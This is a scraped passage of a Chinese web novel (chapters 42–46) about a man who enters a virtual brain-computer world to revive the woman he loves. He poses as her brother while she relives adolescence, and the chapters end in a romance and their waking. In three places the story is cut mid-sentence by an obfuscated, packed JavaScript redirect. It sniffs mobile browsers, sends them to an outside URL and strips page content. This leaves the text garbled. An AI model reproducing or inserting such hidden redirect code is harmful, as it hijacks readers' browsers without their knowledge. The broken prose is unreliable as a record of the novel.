因为他长得实在太好看了，流畅的脸型，完美的弧度，笔挺的鼻梁，不失锐利的眼眸……好像，好像在哪里见过。 难道是她暑假看的某个少女漫里的男主角？ 然而下一瞬，面前这个年轻男人看到他，立刻神色一变。 ……似乎是有些激动。 顾忱走上前，将她从地上搀扶起来，眼眸微颤，声音也带着微微的颤抖。 “渺渺，是你吗？” 他的声音也清冽好听，像是山间清流水。 可是祝渺觉得很奇怪，他们应该没见过。 “你认识我？” 顾忱一顿，忽然反应过来。 是，她果然是不记得现实中的一切了，所以才会一直陷入昏迷。 所以他得想办法让她想起来。 可是，该怎么做？ 他能想到的最好的方式是，和她重新经历现实世界中的一切。 可他又不禁有些不自信，他们只相伴了大学几年时光而已，这段时光是不是有足够的分量让她想起来？ 顾忱原本一心想找到她，可是真的找到她时，他又产生了新的纠结。 见他迟迟不说话，祝渺更觉得这个人长得好看是好看，可是实在奇怪。 祝渺开口：“不好意思，我没有被撞到，我只是摔了一下，已经没事了，我可以走了吗？我今天开学，不能迟到诶。” 顾忱从思索中反应过来。 是他一时太过激动了。 慢着，她刚刚说什么，开学？ 顾忱这才仔细看了看她的着装打扮，她穿着……高中校服？ 顾忱怔愣了一下，犹豫着开口问：“你今年……几岁了？” 祝渺想了想：“今年刚刚满15岁。” 顾忱：“……” 他刚刚到这个意识世界没多久，他的人设很简单，就是个刚刚留学回国的富二代少爷，和他现实中的年纪一样，是22岁。 虽然也有些家庭矛盾，他这个世界的父亲一心让他继承家业，但他此刻压根无所谓自己的生活如何，只想将渺渺尽快带回现实世界。 只是，他们俩现在……居然相差七岁？！ 他刚刚原本还在想，他要立刻追求渺渺，让这个世界的渺渺爱上自己，然后想办法让她想起一切。 可是，她居然才15岁……现在开始追求，是不是有点太早了…… 如果是20岁和27岁，还说得过去，可是现在确实15岁和22岁。 ——不行，太罪恶了。 43. 第 43 章 顾忱顿时扶额叹气。 眼看祝渺看他的眼神，越来越像在看什么怪人，他迟疑地开口：“你……先去上学吧。” 祝渺准备加快脚步离开时，顾忱又拉住她。 “等等，我送你去学校，我们加个联系方式。” 祝渺默默抽回了自己的手臂：“呃，可是我们不认识。” 直接表示了一个婉拒。 顾忱想了一秒，立刻道：“你不认识我，但我认识你，我是你……爸妈的朋友的儿子，我听你爸妈提起过你，也看过你的照片。” 怕她不信，他又补了一句：“你小时候，我还抱过你。” 真没想到，他一个22岁男大会说出这样有年龄感的台词。 祝渺半信半疑，虽然觉得眼前这个男人很奇怪，但潜意识里又觉得他应该是个好人。 也许是他太好看了，看起来不像坏人，开着豪车，好像也没有什么骗钱的理由。他也知道自己的名字。 祝渺点点头：“好吧，加好友可以，送我就不用了，我还有几步路就到学校了。” 顾忱满意地点了点头。 很好，很有安全意识。 不愧是他家渺渺，从小就漂亮又聪明。 * 祝渺规规矩矩地上了两天学。 这两天，顾忱时常来找她，给她发信息，可是却只是像个大哥哥一样偶尔照顾，不做多的打扰。 可是祝渺有些郁闷。 因为，她意识到，她忘记了一件很严重的事情。 她都快忘记了，上一世的她，死在二十岁这一年。 她还是个大学生，却在二十岁这一年突然查出自己得了绝症。 这是基因导致的绝症，很突然的那种，连她自己也没有实感，只是时不时地晕倒，突然有一天晕倒之后，她就再也没能醒来，甚至没有感受什么生病的痛苦。 这件事，她没有告诉过任何人。 她穿到书里，恢复记忆的时候，她甚至庆幸自己有一次重新来过的机会。 可是现在她又重生回来了？ 她是不是还会死在二十岁这一年？ 要是依然如上上辈子那样死去，那老天让她回到这个世界又有什么意义呢？ 意识到这一点的祝渺顿时感觉晴天霹雳。 她现在十五岁，要是二十岁就死了……那她只剩五年的寿命了。 这五年里，居然还要花三年时间在高考上？ 祝渺顿时更加晴天霹雳。 可若是不上学，万一这次重开老天又让她活了呢？那拿不到高中学历，拿不到大学文凭，完不成她的理想，岂不是又要后悔一辈子？！ 祝渺越想越气，越气越纠结。 然后一头砸在了课桌上。 “duang”地一声响，吸引了讲台上正讲课讲得激情飞扬的老师的注意。 老师拍了拍讲台桌。 “那位女同学，上课要专心，你上来，做一下这道题。” 祝渺旁边的女同学拍了拍她的肩膀，祝渺这才从桌上把脸抬起来。 她回过神来，站起身，看了看黑板上的题目。 她因为刚才的纠结和郁闷，一脸欲哭无泪的表情，一边红着眼眶一边走到讲台前。 老师见她如此深情，刚才的气势一下子消失殆尽。 “呃……同学，要是实在不会写，可以……” 可以不用勉强。 话还没说完，祝渺已经拿起粉笔，在黑板上刷刷几笔，把答案和过程写完了。 老师：？ 明明都会做，那还哭什么？ 难道是自己太凶了？ 老师怀着愧疚感开始讲新的题，而祝渺怀则着一种“这世上无人懂我”的悲壮感，回到了座位上。 由于她成天郁郁寡欢的模样，所以整个班里都没有同学理会自己。 她当初和班上同学的关系也不是特别密切，属于早就断了联系，所以也没有太在意。 这一天就这么一直郁郁寡欢到下课，祝渺才迈着沉重的步伐走出学校。 刚走出学校，就看到熟悉的豪车停在学校外，被路过的学生围着指指点点。 但更受关注的，不是车，而是车旁的人。像个车模立在车旁。哦不，比车模还要帅气几分，让没见过世面的高中生们兴奋地议论纷纷。 这几天，他来学校门口接自己，总是这么招摇。 顾忱站在车外，等着祝渺出现。 这几天，顾忱套近乎的同时，也调查过祝渺的资料了。她爸妈离婚后都再婚重建家庭，她几乎是从小身边就什么人照顾，自己一个人长到这么大。 想到这，他就心疼不已。 不知道在她的意识里，她进来这个世界多久了，若是从出生就开始了，岂不是已经在这个世界受苦了十五年？ 若是他能早点来这个世界就好了…… 他不由这么想。 见到祝渺今天又是一脸郁闷地走出学校，他的心一紧。 她这些年，果然过得很不快乐。 他既然来了，就一定会好好照顾她，绝不会再让她孤单一个人了！ 这么想着，上前想要拿过祝渺的书包，刚伸出手，眼前的祝渺便眼睛一闭，身子一歪，就要昏倒。 顾忱急忙上前将人扶住，一把捞起把她抱上车。 祝渺迷迷糊糊醒来时，一股消毒水的味道入侵鼻腔，让她意识到自己是在医院里。 睁开眼，看清面前的景象，她正躺在一间宽敞、干净清爽的病房里，她的手露出被子，正插着管子挂水。 床边的沙发上，坐着顾忱，他正侧头合眼，似乎是睡着了，阳光洒落在他发丝上，他仿佛是从漫画世界里走出来的人。 祝渺下意识喊道：“忱忱……” 顾忱听到这一生轻唤，忽然激动睁眼，从沙发上看过来。 他起身抓住祝渺的手：“你记起来了？” 可是祝渺的意识一瞬间就消失殆尽。 “什么？”祝渺迷惑。 顾忱激动的心平静下来，只是解释道：“你过去就会喊我忱忱。” “啊？可是以前我不认识你。”她的记忆里完全没有见过这个人的印象。 他们俩也是最近才认识，他说自己叫顾忱，可是她怎么可能亲昵到喊他忱忱这样的昵称…… 顾忱：“嗯……可能是你不记得了，但你潜意识里还保留着相关的记忆。” 祝渺也想不到什么合理的解释，只能将信将疑。 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真是风水轮流转……试问谁家小情侣谈恋爱能把年上年下青梅竹马的年纪都体验一次的？真是别样的体验。 祝渺犹豫道：“那个，顾忱哥哥你……”怎么越来越红了。 不是，发烧生病的人不是她吗，怎么感觉这个大哥哥比自己还像有病的样子？ 顾忱轻咳一声，掩住自己的尴尬。 “那个，这几天看你状态不太好，是刚刚上学不适应吗？” 不说倒好，一说起这件事祝渺就觉得郁闷。 不知道为什么，总觉得自己上了好久的学。QAQ 不知道自己已经是第三次读高中的祝渺差点哭出来。 “我不想上学了呜呜呜。”她忍不住悲愤道。 顾忱：？ 他家渺渺这么热爱学习热爱工作的人，居然会说出这种话？ 看来真是这些年生活压力太大了！都让她失去生活的热情了！ 顾忱连声安慰：“不学就不学，我们有钱，够花几辈子了，不上学也可以潇洒一辈子了。” 祝渺：？ 这是一个长辈该说出来的话吗？ 祝渺立刻不想哭了：“你这人怎么还带坏小孩呢？” 顾忱：？ 这对吗？ 也对，毕竟是他家根正苗红的渺渺同学说出来的话。 祝渺冷静了一会儿，问道：“顾忱哥哥，有什么办法可以少上点学吗？” 顾忱：“休学？” 祝渺觉得这主意不错，但是休一两年还是得接着回去高考，那岂不是治标不治本？ 祝渺叹气：“还有其他方法吗？” 顾忱沉思片刻：“或许……跳级？” 祝渺眼睛一亮：“咦，好主意啊。”也不知道为什么，她对自己的考试能力特别有信心，虽然没跳过级，但就觉得自己能跳成功。 祝渺随口问：“你怎么想到的？” 顾忱：“哦，因为我跳过。” 祝渺：“……好吧。”她就不该问。 44. 第 44 章 研究了一下跳级所需要的材料，祝渺立刻开始准备起来。 可是却在需要父母监护人申请这一块难住了。 她已经给爸妈发了消息，说明原委，爸妈看了之后表示了同意，只是没有人有时间来她的学校一趟。 她知道，爸妈看似同意支持，其实是根本无所谓，他们从来都不想管她，而她已经习惯了失望。 祝渺只好自己和老师提了申请，可老师对此并不同意。 这天，顾忱收到了祝渺发来的消息。 祝渺：【哎，失败了……】 顾忱：【怎么了？】 祝渺：【老师不同意，说需要和家长聊一聊，可我已经很久没有见到我爸妈了，他们没有时间来学校。】 顾忱皱眉，敲击键盘。 顾忱：【我做你家长。】 祝渺顿时有些哭笑不得。 祝渺：【你才几岁呀，怎么做我家长？】 顾忱：【我可以冒充你哥哥。】 反正只是和老师聊一聊，总不用自证亲属关系。 祝渺想了想，答应了。 顾忱立刻放下手上的事情，赶到学校。 走进学校教室办公室的时候，祝渺正在被老师教育。 老师：“现在的孩子呀真是沉不下心学习，才刚开学多久，就想着跳级，跳级不是你想跳就跳，学习还是要脚踏实地慢慢进步……” 祝渺低着头乖乖挨训，像个霜打的茄子。 顾忱再次心疼不已。 闭了闭眼，深呼吸，做好心理准备。 下一秒，他冲进办公室。 他拿出毕生演技，气势汹汹：“渺渺！不是和你说了上学没有用，让你别上学了赶紧退学出去赚钱吗？！” 祝渺：……？ 祝渺回头，和顾忱对视了一眼，眨巴眨巴眼。 太突然了，突然得让人一愣一愣的。 顾忱一番惊人言论脱口而出后，老师和祝渺面面相觑。 老师：“这位是……？” 祝渺解释：“他是我哥哥。” “没错，我是她哥哥。亲的。”顾忱看着祝渺，“怎么还在办公室里待着，还不赶快去教室收拾东西和我去办退学手续？！” 顾忱和祝渺对视，眨眨眼。 老师反应过来，气急，一拍办公桌，拍案而起。 “你这个哥哥怎么这样？你是怎么当哥哥的？怎么能不让妹妹读书呢？” 顾忱强装嫌弃，语气冷漠：“她爸妈都不管她了，我作为她的哥哥，只能我一个人养她，她还得继续多读几年书，就要多花几年钱，我怎么养得起她？不如不读了，直接退学吧。” 顾忱语气坚定，祝渺都差点要信了他的鬼话。 祝渺忍住微微抽搐的嘴角，埋头开始大哭：“呜啊……我想上学！哥哥求你了让我继续上学吧，我保证我跳完级，很快就能毕业的，不会再给你花钱了！” 老师顿时手足无措起来。 祝渺的情况，老师作为班主任，也大概听说了一些，她爸妈确实常年不在身边，以前上学连家长会也不来，家访也没有大人照顾。 老师心想，原来上次祝渺一边答题一边哭，是这个原因。 哎……真是个苦命的孩子。 明明成绩这么优秀，又那么聪明，上课不听讲题目也全都做对了…… 越想越觉得自己对祝渺太过分了。 老师叹了口气，松口：“好，我会帮你去申请，也会帮你写推荐信，不过需要你配合考试测评你的学力，达到要求了才能成功跳级。” 祝渺兴奋抬起脸来，刚还在掩面哭泣，现在立刻眉飞色舞：“放心老师，我保证我可以的！” 祝渺的问题是解决了，可顾忱因为刚刚一番言论，被老师进行了好一通教育。 无奈地顾忱只好低头挨批，乖乖认错。这下霜打的茄子换成了他。 祝渺在一旁看得直想笑。 可是想到他是为了帮自己，又生生忍住了。 … 过了一段时间，祝渺就接到了成功跳级的通知。 论十五岁直接成为高考生是什么样的体验？ 祝渺也是第一次体验。 接到申请通过的消息时，她高兴得起飞。 “太好了！顾忱哥哥！！我不用再苦读三年学了！” 一激动，直接蹦起跳到顾忱怀中。顾忱下意识就接住了她，将人拥入怀里托起。 温热的熟悉的怀抱，让祝渺感觉一愣。 她怎么就这么自然地抱上去了呢？赶紧从他身上跳下来，尴尬地埋头想找个地缝钻一钻。 顾忱没觉得有什么，恋恋不舍地放开了她。 见她如此高兴，终于有了曾经乐观开朗的模样，他心中甚感欣慰。 这样，才像他明媚的小太阳。 而他，永远无法离开温暖、充满希望的太阳。 … 经跳级一事后，祝渺万万没想到，过了半年，她居然又成功保送了。 她什么时候有这样的学习天赋了？ 连她自己也不知道！难道重生一次让她智商也提高了这么多？！ 无论如何，终于可以摆脱考试的她格外兴奋。只要不高考，她的人生就会快乐加倍！ 当别人还在备战高考时，她已经可以不用上学了。连假期都可以比其他人更加漫长。 祝渺幸福到在床上打滚，连自己只剩几年寿命的事情也抛之脑后了。 在不用上学的日子里，她就闲得美滋滋在家玩耍。 她不知道，她越是宅在家，某人就越是抓心挠肝。 顾忱：【在做什么？】 祝渺：【在玩游戏！】 顾忱：【不出门吗？】 祝渺：【最近不想再出门啦>. 顾忱：…… 顾忱：【好】 顾忱扶额，若是过去的他，大概会忍不住直接想办法把祝渺放在自己身边每天看着。 但是现在的他已经不会了。 只是……会不太好受。 抓心挠肝，日思夜想。 至今为止，他已经陪在渺渺身边大半年了，可是让她恢复记忆这件事进展得并不顺利。 他尝试着做了许多过去他们一起做过的事情，比如给她□□吃的、一起去游乐园、一起去海边，可是都没有什么用，对她来说，似乎这些都是第一次发生，过去从来没有经历过…… 她很快乐，却没能想起来任何。 虽然有些失望，可逐渐的，他也释怀了。他说过，如果她记不起来，那他就一直陪着她。 能看着她快乐，也是好的。 他苦恼的是…… 这段时间以来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在她生日前夕，顾忱一心想着，他是不是可以准备和她表白了？ 这天他来学校接她回家，又状似无意地提起：“马上就是你十八岁的生日了，我给你庆祝一下生日吧。” “好啊。”祝渺欣然接受。 因为前两年的两个生日，他们也是这么过来的。 知道了祝渺的爸爸妈妈不会记得她生日后，顾忱就会特别贴心地给她准备蛋糕，还有晚餐，让她的生日多了许多仪式感。 可是这次她不知道，顾忱想准备一些不一样的礼物。 还有……和她表白。 一想到这件事，他居然有些紧张。 他们明明已经谈过三年恋爱，居然还要经历表白这样的紧张。而且要说起来，这应该可以算是他第一次正经表白…… 到了他们约定的这一天下午，祝渺上完了所有的课程，顾忱就来接她回家。 顾忱把车子停在了距离校门口比较远的位置。 这是因为祝渺说他总是来校门口接她，太过招摇，所以祝渺便让他离远一些，好好些议论。 他心中小小伤心了一下，便听话照做了。 往常，祝渺总会准时出现在门口，没想到这次，他却迟迟没有等到祝渺。 顾忱看了眼时间，下车走到学校门口。 不禁脚步一顿。 他看见，祝渺往校门口走来，身边却走着另一个男生。 她有很多同学朋友，可是，那个男生看着祝渺的眼神……他再熟悉不过了。 ——熟悉得令人不爽。 45. 第 45 章 这个男生对祝渺有意思。 他几乎是立刻得出了这个结论。 此时，祝渺穿着干净的纯色长裙，黑色的长发飘逸，风略过她的脸，清爽而明媚，见到顾忱，眼眸闪了闪，像极了天上的星辰与海底的明月。 青春活力，像极了她刚上大学时的样子。 那时的她身边，也总有男生想接近她，他嫉妒得发疯，一时没忍住，把祝渺给困在了身边，想和她一起，过只有他们两个人的世界。 可是……不可以。 顾忱捏了捏拳头，忍下了心中异样的感觉。 祝渺和那个男生打了个招呼，摆摆手就要离开，男生却忽然抓住了她的手。 祝渺回过头看他。 男生说：“祝渺同学，我有话想和你说。” 祝渺表示疑惑。 “我……”男生话还没说完，顾忱就已经出现在祝渺身边。 漆黑危险的眼眸，像冰冷的深海，静静看着这个男生。 男生吓了一跳，看向祝渺：“这位是……？” 祝渺说：“这是我哥哥。” 哥哥…… 呵呵，哥哥。 他刚开始听到这个词有多觉得不好意思和兴奋，此刻就有多不爽。 没有想到，她会真的把自己当成哥哥。 “是，没有血缘关系的哥哥。”他接着补充道。 男生露出了疑惑的神色，祝渺也有些困惑，她是第一次听到顾忱这么解释。 过去顾忱对哥哥这个称谓从未表现出不满，可是这一次，她却听出了咬牙切齿的意味。 顾忱觉得自己暗藏起来的疯狂和嫉妒要抑制不住，只得勉强对祝渺笑了笑，然而笑意却不达眼底。 “我们回家吧，渺渺。你的冰淇淋蛋糕……要化了。” 祝渺感觉空气好像凝滞了一两秒，她压下心中古怪，回答：“好。” 没等祝渺和这些男生打个招呼，顾忱便已经拉上她的手，走向车子。 一路上，祝渺都没敢说话。 她总觉得哪里不太对，他好像有什么心事。 回到家，打开门，祝渺才放下了刚才心中的不对劲。 因为她看见，她家的桌子上，放了一束束鲜花，花簇中间，堆了一个礼物山。 ——是大大小小的礼物盒子堆成的一座小山。 “这是……” “这是我为你准备的从你出生到十八岁的生日礼物。” 沉默良久的顾忱终于开口。 她这些年几乎没有过过生日，所以顾忱想，把这些年她没能收到的礼物都给她。 “一岁，你出生了，这是一个平安锁，期望你能岁岁平安。” …… “八岁，冬天很冷，却没有人照顾你，这是送你的围巾和手套。” “九岁，你小小年纪就爱看漫画，这是你最喜欢的绝版连环画。” …… “十五岁，你该上高中了，学习很好很优秀，也爱上了写作，想成为一名记者，所以我想送你一支录音笔。” …… “十八岁，我们渺渺成年了，我想送她一串项链，寓意是永远幸运、永远被爱。” 顾忱将礼物一个一个拆出来，他送的礼物，无一不是祝渺过去对应的年纪喜欢的或是想要的东西。 祝渺从一开始的惊讶，惊喜，到逐渐的不可言喻的感动……她已有些微红了眼眶。 哪怕再迟钝，眼见顾忱的用心，祝渺心中也已经隐隐有了一些猜测。 “我……”她有些哽住，“谢谢你，顾忱哥哥。” 顾忱声音低沉，透露着一丝暗藏的阴沉。 “可以……不要再喊我哥哥吗？我不太想做你哥哥。” 祝渺湿漉漉的眼睛看着他，“那喊你什么？” “如果可以的话，我想做你的男朋友。” 祝渺的心顿时漏跳一拍。 哪怕她已经猜到了这个答案，她还是觉得心上的那根弦颤了颤。 这些年两人相知相伴的画面如同电影一般在她的脑海中闪现。 他真的为她做了很多很多事情。无论发生什么事，只要她有需要，他就会立刻陪在她身边。他陪着她去了很多地方，体验了好多她人生中没有体会过的事情。 她曾经问过他：为什么对自己这么好？ 他的回答是：因为你把我当你哥哥呀。 当时她听到这个回答时，她自己都未曾察觉，她的心中有一些落寞与失望，只是心中的波澜又悄然沉寂了下去。 可是此刻，那片被她刻意掩饰的情愫和心绪又像被风拂过的水面，又泛起了层层涟漪。 ——她的第一反应是答应他。 可是…… 在说出口的那一瞬间，她又犹豫了。 她抿了抿唇，垂下了眼眸。 迟迟没有听到她的答案，看着她沉默，顾忱的心也一点点沉了下去。 他做好了心理准备，可是还是觉得失落和难过。 然而下一秒，他却看见祝渺微微扑闪的眼睫，逐渐湿润，泛起了点点水花。 她怎么哭了？ 顾忱突然有些慌乱，难道是这个告白太突然吓到她了？ 还是刚刚接她回来的时候，他因为太紧张一直没说话，她以为自己生气，吓哭了？ 还是因为再之前，他看到别的男生在她身边，一时间产生了疯狂的嫉妒，被她发现了所以吓哭了？ 他分明已经将那醋意想尽办法忍耐了下去，毕竟……他还没有立场吃醋。 他想了许多种可能，最终还是轻叹一口气，有些无奈地将她揽进怀里轻声安慰。 “没事的渺渺，你不想和我在一起也没关系，我只要能够陪伴在你身边就够了。” 说完，祝渺在他怀中似乎抖动得更加厉害。 他又慌张地补了一句：“没关系……你不想让我陪在你身边也没关系，我只要，能远远看着你，或是知道你过得好，也就够了。” 这就是他来到她的世界的使命。 确保她过得开心幸福。 为此，他可以付出一切代价。 祝渺却更加放肆地大哭了起来。 她不想告诉顾忱，她没有想拒绝他……只是，她或许只有两年的寿命了。 她知道自己如果说出口，顾忱一定会毫不犹豫地陪着自己，说服自己和他在一起，她从不怀疑他的真心和赤诚，可是……她不想。 她说服不了她自己。 过了好一会儿，她才将泪腺控制住，冷静而又理智地开口：“对不起顾忱，你可以遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688509|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好的女孩子。” 你的余生很长，而我或许已经快要走到生命的尽头了。 顾忱没有说话，可是心中却在想： 不可能再遇到了，因为他已经用所有的幸运来遇见她了。 即使出现了这样一个小插曲，他们依然过完了这个生日。 只是之后，两人心照不宣地没有再谈论过这件事，就像是都没有经历过一般。 他们还是一如往常的以“兄妹”的身份过着生活。 顾忱觉得祝渺一定是瞒了他一些事情，可是他追问，她也始终没有告诉自己。 一直到她二十岁生日的那天。 这个生日与过往几年的都不同。 顾忱敏锐地察觉到，祝渺十分反常地掩饰着自己的情绪。 他依然给她准备了蛋糕和礼物。 蛋糕上的蜡烛跳动着火光，在黑暗中映亮了祝渺的脸。 祝渺许下了人生中的最后一个愿望，忍住眼泪吹灭了蜡烛。 灯光昏暗，可是顾忱并没有急着开灯。 他平静开口：“现在可以告诉我真相了吗？” 或许是黑暗放大了人的五感，也让人的情绪格外敏感。 祝渺想，反正她已经时日无多了，告诉他真相，似乎也……无所谓了。 这两年，他表现得很好，没有表露出太多的不甘和难过，她觉得就算自己不在了，他也应该能过得很好的。 犹豫了片刻，她哑声开口：“我马上就要死了……” 顾忱掩饰住心中的惊讶，随即问：“你为什么会这么认为？” 祝渺吸了吸鼻子，“我知道你在疑惑，我为什么会知道自己快死了，可是我就是知道，我会死在二十岁这一年，死于一种罕见的基因型绝症，留给我的时间已经不多了。” 顾忱陷入沉默，祝渺担忧地抬头看了他一眼。 祝渺：“你不相信是不是？” 顾忱缓缓摇头，“我信。” 没有人会比他更加相信了。 他想起来，他当初被困在游戏里的时候，经历过一次次的轮回，每一次轮回，他都会死在十八岁那一年。 他害怕，他绝望，最后无可奈何，屈服于命运。 直到有一个人，成为了他反复折磨的命运轮回里，唯一的变数。 然后他伸出了手，她也握住了他的手，把他拉出深渊。 顾忱不知道，他们说的并不是同一回事。 可是此刻，他坚毅的眼神在黑暗中似乎格外令人安心，祝渺忽然意识到，他知道的可能比她想象中的更多。 顾忱澄澈的嗓音在黑暗中响起：“渺渺，你相信生命的变数吗？” “什么是变数？”祝渺不解。 “当已知的未来即将来临时，那唯一出现的变数，将会是改变命运的奇迹，只需要你……掌握他。” “我……没懂。”他说得也太玄乎深奥了，她属实没能理解。 “你是不是，知道自己未来会发生什么？” 祝渺点点头。 顾忱接着玄乎其玄道：“可是未来还没来，你有没有发现，现在已经变得不一样了。” “哪里？” “我啊。” 祝渺望向顾忱坚定的眼神，像是有一道光击穿了她的心脏。 46. 第 46 章 祝渺忽然心弦崩断，脑中有什么画面瞬间过去了。 是啊，她过去的人生里……有过顾忱这个人吗？ 没有。 上辈子，她孤单地活到了二十岁，然后独自一个人面对死亡，她都没有遇到过一个叫顾忱的人。 而这一世，她过了一个和上辈子完全不一样的人生。 她人生的转折点是从什么时候开始的呢？祝渺回想，就是她重新睁眼，准备去上学的那一天。 她遇到了顾忱。 她的生活开始变化，仿佛命运的齿轮开始转动，她本该孤独的一生，竟然出现了一个能够一直陪在她身边的人。 所以……顾忱，是她人生中的变数吗？ 祝渺像是走在一条漫长的充满迷雾的走廊中，突然窥见了一丝天光。 他是她生命中的变数，这也就意味着，她的命运是可以被改变的，是吗？ 顾忱知道她听进去了，紧接着给她扔“洗脑包”。 “命运不是固定的，我就是你生命中的变数，所以……命运是可以被改变的。”顾忱给了祝渺肯定的回答。 然后，他说：“渺渺，我就是为你而来。” 祝渺猛然抬头看向他，瞳孔微颤，似乎是心中的症结突然被解开，郁结的情绪得到了释放，她激动得有些生理性的颤抖。 眼眶里打转着的一滴泪水猛然滑落。 顾忱毫不犹豫，低头，轻轻吻住了她的泪水。 然后一点点，将吻落到了她的唇上。接着是脖颈，是腰…… 之后发生了什么，祝渺觉得自己已经完全意识不清了。 只感觉他热切的呼吸喷洒在自己身上每一个部位，令她的每一寸肌肤都似乎着了火，越发滚烫，如同她的心脏一样的滚烫。 她伸出手抱紧了面前的人，搂住他炙热的身体。 身上的人传来的闷哼声，在寂静的夜晚格外明显，还有他温暖又有些坚硬的身躯，带着她的意识在这个夜晚里起起伏伏…… 她的脑海中不断闪过丝丝缕缕的电流，似乎是有什么意志的力量正在呼唤着她。 然后又归于平静。 最后情绪的浪潮平息的一瞬，她听见顾忱在她耳边低声道： “渺渺，这个世界是以你的意志为中心创造的，可是，不要再陷入这个世界了。因为在另一个世界，有很多人爱你……也包括我。” 她的情绪陡然产生了一种失控感。 她的身躯和灵魂也似乎开始失重…… …… “滋滋滋……” 电流声不断跃动，出现一些毫无规律的起伏变化。 许博士冲进病房，看到精神数据开始猛烈波动，突然振奋了起来。 “醒了醒了！他们快醒了！”他兴奋地大喊。 许博士急忙开始拆卸他们俩人头上分布着的电线管子。 在一旁睡着的秦洛被博士一声喊惊醒了，从沙发上弹了起来，看着许博士的动作开始激动得原地踏步。 “他们醒了吗？醒了吗？” 下一秒，祝渺和顾忱就同时从床上睁开了眼睛。 秦洛大叫一声，激动地跑到祝渺身边，一脸热切地看着祝渺。 “渺渺，还认得我吗？我是秦洛！” 祝渺还有些没从梦里的刺激回过神来……就被秦洛激动的模样给吓了一大跳。 她微红着脸颊，坐起身，目光落到了旁边也刚从床上起来的顾忱身上。二人眼神一个对视，祝渺更加脸红，不好意思地撇开了眼神。 祝渺轻咳一声，回答秦洛：“我当然认得你……我没有失忆。” 秦洛激动地抱住她：“呜呜太好了，我以为你们真的要醒不过来了！” 祝渺越过她的肩膀，正好又和顾忱对视上。 而顾忱正紧紧地盯着她。 天啊，这种刚做完春梦，醒来就看见当事人的感觉…… 实在是很微妙了…… 秦洛放开祝渺，看着她越来越红温的脸颊，心生疑惑：“渺渺！你不会发烧了吧！你怎么脸这么红啊？” 秦洛激动转头：“许博士，她不会是有什么后遗症吧？快给她做个检查好好看看！” 祝渺急忙阻止她：“我没事！我真的没事！” “真的？” “真的，我发誓。”祝渺做了个发誓的手势。 “好吧。”秦洛放下心来，接着好奇道，“那你们在脑机世界里遇见了吗？发生了什么？是什么感觉？” 遇见了。刚睡完。很刺激。 祝渺用力闭了闭眼，把一些乌七八糟的东西驱逐出脑海。 “遇见了……还演了一个虐恋剧本。” 秦洛惊呼：“虐恋剧本？！什么剧情？” “我……又考了好多好多试。” 她这一生，实在上太多学，考太多试了。嘤嘤嘤。 一旁的顾忱，脑袋上缓缓冒出一个问号：？ 他们经历的是这么个剧本吗？ * 许博士给顾忱和祝渺检查了身体，他们两个都没有严重问题，但脑机的后遗症的发作时间并不确定，尤其顾忱原本就存在后遗症。 因此为了保险起见，他们还是需要留在病房进行观察。 祝渺看了日期，她和顾忱在游戏里待了五年，但现实世界中他们昏迷了只有大约一个月。 不过消失一个月也够久了。 祝渺立刻和所有人都报了平安，告诉大家自己这段时间是生病了。 她这才发现，顾忱在进入脑机世界前，已经帮她安排好了生活中许多事。他已经做好了他们醒来或是醒不过来的准备。 包括帮她请假，把她的一些物品交代给了秦洛。听秦洛说，他还留了一封信给她的爸爸。 祝渺醒来后，秦洛就把顾忱交代给她的东西都物归原主了。 所有人都离开病房后，空气瞬间安逸下来。 祝渺坐在病床上，静静看向顾忱。 他们总算有了独处的时刻。 虽然什么话都没有说，但是祝渺回到现实世界，想起来所有的事情的一瞬间，她就已经大概知道发生了什么。 她被困虚拟世界，而顾忱来到她的世界救她了。 一如当初，他说自己是把他从黑暗中带出来的人一样。 这次，换他来把自己带出黑暗了。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699472|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过程中有许多偶然事件，可是这些偶然被命运安排到一起的时候，就成了命中注定的必然。 祝渺没说话，爬下床，又爬上顾忱的病床。 顾忱之前就有后遗症偶尔会发作，因此他看起来有些困倦，倚靠在床头，只有一双漆黑发亮的眸子紧紧盯着祝渺。 他仰头，看着祝渺，伸手轻柔地抚了抚她的头。 祝渺抓住他的手，突然开口：“当哥哥的感觉怎么样？” 顾忱一愣，有些意外，紧接着耳根子就开始微微有些泛红。 祝渺忍住了笑意，靠近他，伸手捧起了他的脸，然后在他脸上落下一个吻。 轻轻柔柔，转瞬即逝。 “是不是还挺不错的，顾忱哥哥？”她眼里闪过一丝促狭。 顾忱知道她在逗自己，眼神微闪，靠近她，一只手抬手搂住她，另一只手将她摁向自己，更加用力地吻了上去。 祝渺惊呼一声，却被他搂得更紧。 不知过了多久，她才从这片热忱中获得一丝喘息的机会。 祝渺靠在他怀里，抬手摸了摸他的脸颊。 “你就这么进入脑机世界，不怕再也醒不过来吗？” “我更怕我再也见不到你。”顾忱道。 “你以前不是还老威胁我，想和我一起生活在游戏里，怎么现在不趁机和我一起在脑机世界里生活了？” 她是在明知故问。 顾忱也不负她所望，给了她回答。 “你说过的，虚拟世界没有这样真实的你鲜活。”她说的话，他每一个字都有认真听进去，并为之努力。 祝渺一点也不意外他的答案，因为他一向如此。 